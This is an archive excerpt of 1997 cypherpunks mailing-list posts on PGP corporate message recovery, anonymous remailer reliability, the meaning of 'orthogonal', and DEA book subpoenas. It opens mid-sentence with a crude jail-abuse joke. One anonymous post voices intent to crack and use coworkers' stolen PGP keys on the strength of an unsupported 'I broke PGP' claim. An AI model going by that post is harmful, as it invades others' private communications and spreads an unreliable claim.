site they can visit me in jail where I am currently getting a crash course
in man-boy love.


 	






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Mon, 27 Oct 1997 22:51:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Technical Description of PGP 5.5
In-Reply-To: <199710241425.PAA01534@server.test.net>
Message-ID: <19971027063955.64669@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Oct 27, 1997 at 02:26:27AM -0500, Thomas Junker wrote:
> 
> Recovery of messages in transit is entirely a snooping issue, 
> methinks.

Actually, it's snooping of messages in transit on a network OWNED BY 
THE COMPANY.

> Recovery of stored messages and files also seems to me to be a
> solution to a largely imaginary problem.  As I wrote before, there
> are more ways and more likely ways to lose data than through keeping
> encrypted files.  People live with it.  If they wish to address it,
> either individually or institutionally, they can do so without
> special features in PGP.  A feature in mail clients to store the 
> decrypted message in place of the original would do more to avoid 
> loss of stored encrypted messages than anything else I've seen 
> proposed.
[and]
> How on earth can people manage email and disk files without the 
> ability to "recover" data that can be lost in a thousand other ways 
> that no encryption package can protect against.  Geez.  Let's get 
> real here.

Given the frequency of "I've forgotten my password" incidents at
company help desks, widespread use of cryptography would cause this to
become *the* prime cause of lost data.  As has been pointed out, 
email is actually very reliable.  Hard disks are very reliable, tapes 
are very reliable.  Loss of data through these media has become very 
rare, and with intelligent practice, non-existent for all practical 
purposes. 

> This reminds me a lot of the objections of a few to sending EDI 
> traffic over the Internet.  When I proposed this in recent years I 
> got a wail from some people over the loss of third-party time 
> stamping and message delivery verification that can occur in the 
> simpler scenarios of bypassing the cash-cow Value Added Networks.  
> But, um, didn't everyone print those documents on *paper* and drop 
> them into USPS *mail boxes* just a few short years ago?  What 
> reliable third party time stamping and message delivery verification 
> did they have then?  Am I mistaken or didn't the entire economy 
> function on the basis of snail-mailed invoices and other documents? 
> How on earth did people manage under those primitive circumstances?

This is a bad argument for you to use.  From a privacy perspective,
didn't people send all kinds of very private stuff on *paper* and
through *mailboxes* just a few short years ago?  How did they survive 
without strong encryption?!  "Geez.  Let's get real here."

The physical mail analogy to PGP's implementation of CMR is as 
follows:  Company policy is that it does not accept private pmail for 
individuals.  All mail for individuals must be addressed

XYZ Company
attn: Indi Vidual
Address1
Address2

Mail addressed like this:

Indi Vidual
Address1
Address2

will be returned, because the company doesn't accept private mail.  
Company mail is to be used for company business.  You don't receive 
Playboy at work, you receive it at home.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 27 Oct 1997 23:05:23 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199710271450.GAA04159@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

This remailer list is somewhat phooey. Go check out
http://www.publius.net/rlist.html for a good one.

Last update: Thu 23 Oct 97 15:48:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera@juno.com             ------------  5:03:45  99.86%
nym      config@nym.alias.net             +*#**#**###       :34  95.82%
redneck  config@anon.efga.org             #*##*+#****      2:00  95.44%
mix      mixmaster@remail.obscura.com     +++ ++++++*     19:18  95.27%
squirrel mix@squirrel.owl.de              -- ---+---    2:34:19  95.16%
cyber    alias@alias.cyberpass.net        *++***+ ++      11:26  95.11%
replay   remailer@replay.com              ****   ***      10:06  94.93%
arrid    arrid@juno.com                   ----.------   8:50:34  94.41%
bureau42 remailer@bureau42.ml.org          ---------    3:38:29  93.53%
cracker  remailer@anon.efga.org           +  +*+*+*+      16:32  92.80%
jam      remailer@cypherpunks.ca          +  +*-++++      24:14  92.79%
winsock  winsock@rigel.cyberpass.net      -..-..----    9:59:18  92.22%
neva     remailer@neva.org                ------****+   1:03:02  90.39%
valdeez  valdeez@juno.com                               4:58:22 -36.97%
reno     middleman@cyberpass.net                        1:01:28  -2.65%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Mon, 27 Oct 1997 23:15:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: CMR versus GAK?
In-Reply-To: <1.5.4.32.19971027124538.006add84@pop.pipeline.com>
Message-ID: <19971027070358.62857@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Oct 27, 1997 at 07:45:38AM -0500, John Young wrote:
> Lutz wrote:
> 
> >May be in your (poor) country. There is a world outside US.
> 
> Good point, and note that there are many other worlds within the US
> besides the LOOD stud-employer-has-manifest-destiny-control 
> version.
> 
> But it is good marketing to sell fearful business owners gadgets
> and to perpetuate their sense of knowing what's going on behind
> their backs, as with frightened pols, spies, cops, parents and 
> straights, leaky prophylactics supplemented with arms to bear 
> when the hints of betrayal and inadequacy become unbearable. 

Implicit you make the notion there is no merit.  But experience is a 
harsh mistress -- employees do steal.  This is not fiction, but fact.

> Not that the gadgets and arms work when you can't ID or crosshair 
> the elusive backalley cats aprowl.
> 
> Same goes for workers and youngsters who think the bosses and
> oldsters are duncemunge: WSJ, Dilbert and Phrack are funnies to 
> avoid the admitting the deeper complicity of secret crossovers by
> your favorite peer group into the opposing camps, political, economic, 
> legal, scientific, not to say no longer secure national and sexual borders.

People change.  Usually, they learn.  Sometimes they burn.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 27 Oct 1997 21:49:31 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Orthogonal (fwd)
Message-ID: <199710271341.HAA03473@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
> Subject: Re: Orthogonal (fwd)
> Date: Mon, 27 Oct 1997 01:36:06 -0500 (EST)

> An entity claiming to be Jim Choate wrote:
> 
> : I can see the union 'build complicated things out of basic building blocks'
> : and the use of Occam's Razor (I'm as lazy as any other programmer) but fail
> : to see how this maps to anything relating to the concept of orthogonal.
> : Which clearly doesn't have any inherent minimalist cast.
> : 
> 
> Minimalism is merely a by-product of orthogonality.

Which orthogonality are you speaking of?

> A language is considered
> orthogonal if builtin functions do not provide overlapping functionality.

Are you talking linguistics, philosophy, or computer? Consider, historicaly
the point of 'orthogonality' was to indicate a  *non-overlapping* or
reducable structure, something which provides a reference to evaluate other
things.

> So the term orthogonal probably refers to the fact that there is no
> point of intersection in the functionality of the language (or system, as
> the thread started out).

Orthogonal implies there is intersection, it's hard to have a closed
geometric shape (-gonal) or a right angle (ortho-) axis system without them.

> And I will not argue about vector spaces until I get bookshelves and actually
> dig my Linear Algebra texts out of the boxes around my apartment.

Good, I understand how it is used in vector spaces and don't really get my
jollies off on arguing on unrelated issues. What I *would* like to
know is how a mathematical term related to geometry and right angles got
expanded *historicaly* to mean something completely unrelated. I don't think
a linear algebra book is relevant to this question, despite the protestations
of the techno-masturbatory ot the contrary.

There are a whole host of users on this list who live by strawman arguments.
I am glad to see you aren't one of them (apparently).


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 27 Oct 1997 20:48:01 +0800
To: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Subject: Re: CMR versus GAK?
Message-ID: <1.5.4.32.19971027124538.006add84@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Lutz wrote:

>May be in your (poor) country. There is a world outside US.

Good point, and note that there are many other worlds within the US
besides the LOOD stud-employer-has-manifest-destiny-control 
version.

But it is good marketing to sell fearful business owners gadgets
and to perpetuate their sense of knowing what's going on behind
their backs, as with frightened pols, spies, cops, parents and 
straights, leaky prophylactics supplemented with arms to bear 
when the hints of betrayal and inadequacy become unbearable. 

Not that the gadgets and arms work when you can't ID or crosshair 
the elusive backalley cats aprowl.

Same goes for workers and youngsters who think the bosses and
oldsters are duncemunge: WSJ, Dilbert and Phrack are funnies to 
avoid the admitting the deeper complicity of secret crossovers by
your favorite peer group into the opposing camps, political, economic, 
legal, scientific, not to say no longer secure national and sexual borders.

LOOD = Long Out Of Date





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Mon, 27 Oct 1997 14:57:17 +0800
To: mark@unicorn.com
Subject: Re: PGP Employee on MKR
In-Reply-To: <877686661.25414.193.133.230.33@unicorn.com>
Message-ID: <Pine.BSF.3.96.971027073312.10658A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 24 Oct 1997 mark@unicorn.com wrote:

> 
> If you can explain the following, then I'll accept that my fears are merely
> fantasies:

OK, I must be missing something. How can it be more evil if the email
isn't automatically sent to the owner of the MK key than if the email is
automatically cd'ed?

 > 
> 1. How PGP can prevent CMR being converted into GMR; their system builds
>    all the code required to support mandatory encryption to FBI and NSA
>    keys into every copy of PGP.

Agreed. And so did PGP 2.x and any version of PGP that allows for
encryption to multiple keys. Anybody can take the 2.6 source and hardcode
in a second recipient key.

The answer is that no PK crypto system can prevent being converted for GAK
use.


 > 2. Why PGP prefer this option to almost identical systems which do
not >    allow GMR. They don't even seem to be interested in discussing
>    alternatives.

I read the recently  proposed alternatives
and fail to see how they would prevent GMR any more than PGP's solution.
All I saw were convoluted and frequently hasty designs, many of which
lend themselves even more to GAK then what PGP did.

> Frankly, this issue seems to be the most important since Clipper, and I'm
> amazed that so many cypherpunks are so dazzled by PGP's name that they
> refuse to sit and think these issues through. 

Once, (as many of you know IMHO it is a "once", not an "if")  GAK becomes
mandatory, it can be implemented with 2.6 just a easy as
with 5.5. And it isn't PGP for Business  that will cause this to occur. It
will be some guy with a laptop who downloaded the DNA sequence for a nasty
bug to feed it  into his sequencer. Or some other act of terrorism. Heck,
perhaps a print out of old list traffic might suffice. :-)


-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 27 Oct 1997 23:58:28 +0800
To: h.pillay@ieee.org
Subject: Re: Singaporean control freaks & CMR (Re: puff pieces vs tough
Message-ID: <3.0.32.19971027075645.006b2b1c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Harish Pillay wrote:

>So, now to come back to the first line.  Tell me how you can tolerate living 
>in wherever that it you live in?
.......................................................


Well, it's not so bad -  I live about 3 minutes drive from Microsoft, with
micro-millionaires all around.  I live across the street from Crossroads
Mall, which has practically everything I need, including free music/jazz
concerts on weekends, the weather is nice most of the time (I *like* rain),
and I'm not far away from the sea, the mountains, hiking, skiing, biking,
boating, snorkeling, whatever, and lots of other genteel entertainment of
all kinds.

Frankly, I can just barely tolerate it, and I've been contemplating what
life would be like in Anguilla.  :>)  No seriously, I'm referring to the
political climate in the U.S. in general (although The East Side, as this
side of Washington Lake is called, is considered too conservative by most
Seattlites and has a large Libertarian representation, probably because of
all those programmers at MS).   

But then, I'm a real purist and wish for extreme things, and like the
princess & the pea in the fairy tale, am highly sensitive to deviations
from perfection.  :O 

It's hard to tolerate being moved to act by people (whether in government
or otherwise, but of course mostly in political circles) who carelessly and
disrespectfully override my personal choices in order to make their social
dreams for everyone come true, using any resources they can "legitimize"
taking from myself or anyone to accomplish them; it's a pain to contemplate
their rationalizations.

I read/study in psychology & cognition, and the area of Thinking in
general, and it helps me to understand people like them, as well as to
maintain a rational, balanced state of mind when contemplating their
existence and considering ways to deal with it.

It takes a lot of creativity to see beyond collectivist/coercive methods
and carry on in spite of having to subserviently respond in "voluntary
complicity".   I've been mulling the whole situation over, and I think it's
a good idea to emulate Bill Gates.   "We're not taking over the whole
world", he protested in one interview.  "I mean, all we do is produce these
small boxes that you can buy and put it into your pc, what does that have
to do with taking over?" (hee-hee).

No, it's just dragging some people, kicking and screaming, to a new level
of technological opportunities.  I like that.  <g>  I think they all
deserve it.

Anyway, thanks for the reply.   I wouldn't argue against Singaporean
citizens who actually like their way of life.  I would only be concerned if
they couldn't go in the directions they prefer.   Micro-management is not
something I myself could laugh off, as my sense of humor isn't that good,
although my sense of the ridiculous is easily aroused. 






    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 27 Oct 1997 16:18:53 +0800
To: cypherpunks@toad.com
Subject: Mmphmmphmmmph! (WAS Re: I Broke PGP!!!)
Message-ID: <fabot4kvKmisnuI2Lpx8Ng==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



That was the sound of me eating crow.
Although I am a closet reader of the True Story of the Internet series
I am generally perturbed by the many of the inane Truthmonger posts to
the list. I had decided several days ago to make a small apology to
Truthmonger for some of my more emotional attacks on him (or her) but
I put it off and put it off. I decided not to put it off after reading
the following:
Six wrote:
> Bonus Question: "Who is TruthMonger #1?"
> Bonus Answer: "He's Randall Farmer's best friend."

That is _exactly_ what I thought when I read Randalls whining post
about how Truthmongers rudeness might necessitate Randall instituting
security and identity procedures that would enable others to verify
whether a digitally signed message was indeed from himself. When I saw
Tokoyo Rose echoing my thoughts then I thought I should take the trouble
to point out what I myself learned from Truthmonger. [Although I am not
certain if it is the same one.]
I made the mistake of informing several people that the exercise that
was suggested in Epiloge 5? of Infowar was bullshit but when I tried
it it spit out my secret key like a hot damn much to my surprise.
So I owe Truthmonger an apology but it will not be a public one.
[Very few of you would know me anyway since I am mostly a list lurker.]
The reason I will not make a public apology is because I also had
PGP spit out the secret keys of my boss and coworkers. Although I am
not a bad person in general possession of these keys is making me
begin to think like Truthmonger. I will probably just test whether
I can indeed password break them and use them to decipher a few
files and then erase my copy of them. [Maybe.]
[Maybe I should make my .sig line "Beware of Truthmonger inside!"]

I did a search for the post that Tokoyo Rose talked about Truthmongers
nephew adding things to Truthmongers email and found:
>   Also, as a 'teaser', I would like to announce to one and all that
> the quickly closing saga of 'InfoWar' will include an epilogue
> chapter titled, "I Broke PGP," written by myself.
>   Believe it or not, I speak the truth, although not in a way that
> it direct and obvious.
>  If you think I am bullshiting, then stop washing your asshole,
> starting today, because if you can show me I am wrong, I will kiss
> your ugly, hairy ass.
>
> Love and Kisses,
> TruthMangler

After looking at other posts that have Truthmangler in them instead
of Truthmonger I think that it might be a sign that the nephew is
messing with them since they seem to have things inserted in them
which appear to come more from a childs mind than Truthmongers.
[If that is possible.] (;>)
I would be interested in finding out if other people have been able 
to get secret keys using the method described in the Infowar book.
We are using PGP 2.6.3i. I wonder about other versions.

Croweatingmonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Mon, 27 Oct 1997 15:26:23 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <199710241342.OAA01491@server.test.net>
Message-ID: <Pine.BSF.3.96.971027082056.10658E-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 24 Oct 1997, Adam Back wrote:
> 
> If this is the case, I reckon it's still better to just escrow their
> comms keys locally.  Put them all in the company safe, whatever.  To
> go with this kind of a company with this kind of policy, I would
> presume that sending or receiving super-encrypted messages would would
> be a sackable offense.

Adam,
How does your system prevent the employer  from fabricating forged
signatures in a PK system that uses the same key for signing and
decrypting? And if you don't use such a system, then how do you deal with
future versions of the software that will allow the user to swap DH keys
from underneath the ElGamal keys?

Thanks,

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 28 Oct 1997 02:28:15 +0800
To: cypherpunks@toad.com
Subject: DEA trying to subpoena book dealers
Message-ID: <3.0.3.32.19971027084119.006bf4fc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Heard on the radio this morning that a book publisher in Berkeley
received a subpoena from the DEA (not from a judge, from a DEA agent...)
requesting information on everybody in Arizona who bought their
book on marijuana hydroponics.  The publisher declined to cooperate,
and there was a nice First Amendment riff from the reporter about it.
Their name sounded like Ronin Press.  A book store in Tempe also received
a subpoena for names of everyone who'd bought the book.

Cypherpunks relevance?  Will web publishers get the same treatment?
Will corporations running Corporate Message Recovery get requests
for email sent to their sales addresses?  How many of them will comply
rather than noticing the bogosity of the subpoena?  On the other hand,
at least with CMR, companies can set decide how much information to keep,
and this sort of abuse may encourage them to limit their use of it.
				Thanks! 		Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639
[I'm currently having hardware problems with my main email; 
send Cc: billstewart@att.com if you need to reach me in a hurry.]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Tue, 28 Oct 1997 00:57:20 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@ssz.com>
Subject: Re: Orthogonal (fwd)
In-Reply-To: <199710270528.XAA02347@einstein.ssz.com>
Message-ID: <19971027084716.54057@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Oct 26, 1997 at 11:28:09PM -0600, Jim Choate wrote:
> Forwarded message:
> 
> > Date: Sun, 26 Oct 1997 19:13:12 -0800
> > From: Kent Crispin <kent@bywater.songbird.com>
> > Subject: Re: Orthogonal (fwd)
> 
> > > > I do believe the use of the term this way was inspired by the 
> > > > notion of a 'basis' in a vector space -- a set of orthogonal
> > > > vectors that span the space, ideally, unit vectors.
> > > 
> > > Can you better define the term 'basis'?
> > 
> > This is basic linear algebra:
> > 
> > V a vector space -- the set of all (s1,s2,s3,...,sn), where si is an
> > element of the set of reals.
> 
> Actualy si (scalars) can be rational, real, or complex. It is also possible 
> to use more general structures such as fields. [1]

That's true.  You asked for a better definition of "basis".  I was 
trying to do that without writing a textbook, though.
> 
> Note that complex numbers numbers may be used, in other words a vector can
> be used to multiply another vector.
> 
> > A set of vectors {v1,v2,...,vm} in V is
> 
> A vector of vectors, and you haven't even really defined vector yet...:(

No.  A *set* of vectors.  And I presumed you already knew what a
vector was, and a slight reminder would be all that was necessary.. 
if you aren't at least somewhat familiar with the ideas of sets and
vectors, it would be somewhat difficult for you to follow the rest of 
what I wrote, I grant.

> > linearly independent if there is no set of scalars {c1,c2,...,cm} with
> > at least one non-zero element such that sum(ci*vi) == 0
> 
> Are you saying:
> 
> (c1*v1)+(c2*v2)+...+(cn*vn) <> 0
> 
> where at least one ci is <>0, is some sort of test for membership in a vector
> space? 

Yes, though you have to understand that "0" is the zero *vector*  -- 
the sum of vectors is always another vector.

I was defining "linear independence", a basic concept needed to 
understand the notion of a basis.

> What about,
> 
> (1/c1*v1)+(-1/c2*v2)+(0*v3)...+(0*vn) = 0,
>      1         -1
> 
> if so it should be clear that except for the case of c=0 there is always a
> way to take two, which is clearly more than one, of the scalars and cause
> the sum to be zero. Now if you have a single non-zero scalar multiplier then
> it seems reasonable that you can create such a structure that is always <>0.

Nope.  It may be the zero vector vs zero scalar confusion.  Consider
the two linerarly *dependent* vectors in 2-space: (1,0), (2,0), and
the set {2,-1} of non-zero scalars: 2*(1,0) + -1*(2,0) = (0,0). 

Contrast with the two linearly *independent* vectors (1,0), (0,2).  
There is *no* set of scalars {c1,c2}, with at least 1 of ci != 0, such that 
c1*(1,0) + c2*(0,2) == (0,0).  This is obvious:

c1*(1,0) + c2*(0,2) = (c1,2*c2), which obviously cannot be (0,0) if 
either c1 or c2 is non-zero.


> 
> > A set of
> > vectors S spans
> 
> In other words 'are expressible in'?

If you like.  I am defining the word "span", however, because that is 
the common terminology.

> > a vector space V iff every element of V can be expressed
> > as a linear combination of the elements of S.
>               ^^^^^^^^^^^
>               Need to better define this one.

Sorry.  I really thought the notion of a "linear combination" would be
common knowledge.  You can check your dictionary.

> The operations that are applicable to a vector space are: [1]
> 
> 1.  Associative law of addition: (x+y)+z = x+(y+z)
> 2.  Commutative law of addition: x+y=y+x
> 3.  Existance of zero: x+0=x for all x in V
> 4.  Existance of inverses: x+(-x)=0
> 5.  Associative law of multiplication: a(bx)=(ab)x
> 6.  Unital law: 1*x=x
> 7.  First distributive law: a(x+y)=(a*x)+(a*y)
> 8.  Second distributive law: (a+b)*x=(a*x)+(b*x)
> 
> where x is of the form 'asubn(x^n)+bsubn-1(x^n-1)+...+asub1x+asub0'
> 
> This is a remarkably circular definition to present. In clearer wording;

No, in fact it's not.  There is nothing original in the definition -- 
I'm just parroting what I learned 20 years ago.

> The set of vectors S is expressible in a vector space V iff S is contained in > V.

That's not what I said, though.

> While this may be a requirement or test for membership in a vector space (as
> used below) it doesn't qualify as a definition.
> 
> > Finally, a basis for 
> > V is a linearly independent set of vectors in V that spans V.  A 
> > space is finite dimensioned if it has a finite set for a basis.  The 
>                                                  ^^^
>                                                  set of what?

Oh Jeez.  Vectors.  Note that the last sentence defines "finite 
dimensioned", not "basis".

> > standard basis (or natural basis) for a vector space of dimension n 
> > is th set of vectors
> > 
> > (1,0,0,...0)
> > (0,1,0,...0)
> > (0,0,1,...0)
> 
> In other words, any 'vector' can be expressed as the sum of the
> multiplication of unit elements by some set of scalars.
> 
> Is this definition something you just wrote or would you be so kind as to
> give the reference if it isn't.  

I paraphrased material from "Calculus of Vector Functions", 3rd
edition, by Williamson, Crowell, and Trotter and "Linear Algebra", by
Hoffman and Kunze.  These are both really old texts, but any book on
linear algebra will cover the same material.

> This definition uses 'basis', doesn't define it. You can't use a term to
> define the term, it's called circular reasoning.

Nope.  The definition is "a basis for V is a linearly independent set
of vectors in V that spans V." I defined "linearly independent" and
"span" without using the word "basis", or even the idea of a "basis".  
It is not a circular definition.

> My question still stands,
> can you please better define 'basis'. Or is your claim that basis is simply
> a way of stating 'elements of unit magnitude'?

At this point, it is clear that I should simply refer you to an
elementary linear algebra text.  I will just repeat that, for those
that are familiar with linear algebra, the analogical use of "orthogonal"
in language design is pretty intuitive.  If you don't have the
background you may not have the intuition, and discussion on this list
probably isn't the best way to build it.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 28 Oct 1997 01:44:15 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Orthogonal (fwd)
In-Reply-To: <199710270528.XAA02347@einstein.ssz.com>
Message-ID: <v03102802b07a6f008196@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




At 9:47 AM -0700 10/27/97, Kent Crispin wrote:

>At this point, it is clear that I should simply refer you to an
>elementary linear algebra text.  I will just repeat that, for those
>that are familiar with linear algebra, the analogical use of "orthogonal"
>in language design is pretty intuitive.  If you don't have the
>background you may not have the intuition, and discussion on this list
>probably isn't the best way to build it.

I returned home after being away to find half a dozen or more posts arguing
about the use of the word "orthogonal." Which I used in my essay Saturday.

Like Kent, I don't see any point in arguing basic concepts of linear
algebra, vector spaces, correlations, inner products, and how these ideas
relate to machine and language functions. This is stuff most of us learned
way, way back, and the usage for machines and languages is natural. Arguing
about what a "basis" is, or what a "linear combination" is, is just a waste
of time.

I will give just _one_ example of orthogonality, though. Imagine a 747,
with various commands or functions to do things like lower the wing flaps,
retract the landing gear, dump excess fuel, turn on cabin lights, signal an
emergency, etc.

Normally, most of these commands are "orthogonal" to each other, in that
issuing a command to turn on the cabin lights does not also lower the
landing gear. Orthogonal in that there is no "projection" of one vector
onto the other. (Viewed in another way, the inner product of the two
commands is zero, or nearly zero, meaning there is no correlation, or
interaction, between the commands or vectors.)

(If Jim Choates quibbles in a overly literalitst way that "commands are not
vectors," I don't plan to respond.)

Contrast this orthogonal situation to one where one had these kinds of
commands:

Command 353: Lower landing gear, turn on cabin lights, and release
emergency braking parachute.

Command 792: Raise landing gear, send out emergency signal, and
depressurize cabin.

(The above examples might be a kind of "complex instruction set" for a
plane, because some architect decided that Command 353 _might_ conceivably
be needed someday. A cleaner, more functionally orthogonal instruction set
would be more like a RISC architecture.)

These commands would "intereact" with each other. The inner product, or
measure of correlation, would be far from being zero.

In fact, this 747 example is not original to me. When people discuss
software complexity, where small changes can have huge effects elsewhere,
one may hear examples like: "When a pilot tells the plane to raise it wing
flaps, he doesn't expect the tail section to fall off." Meaning, clean
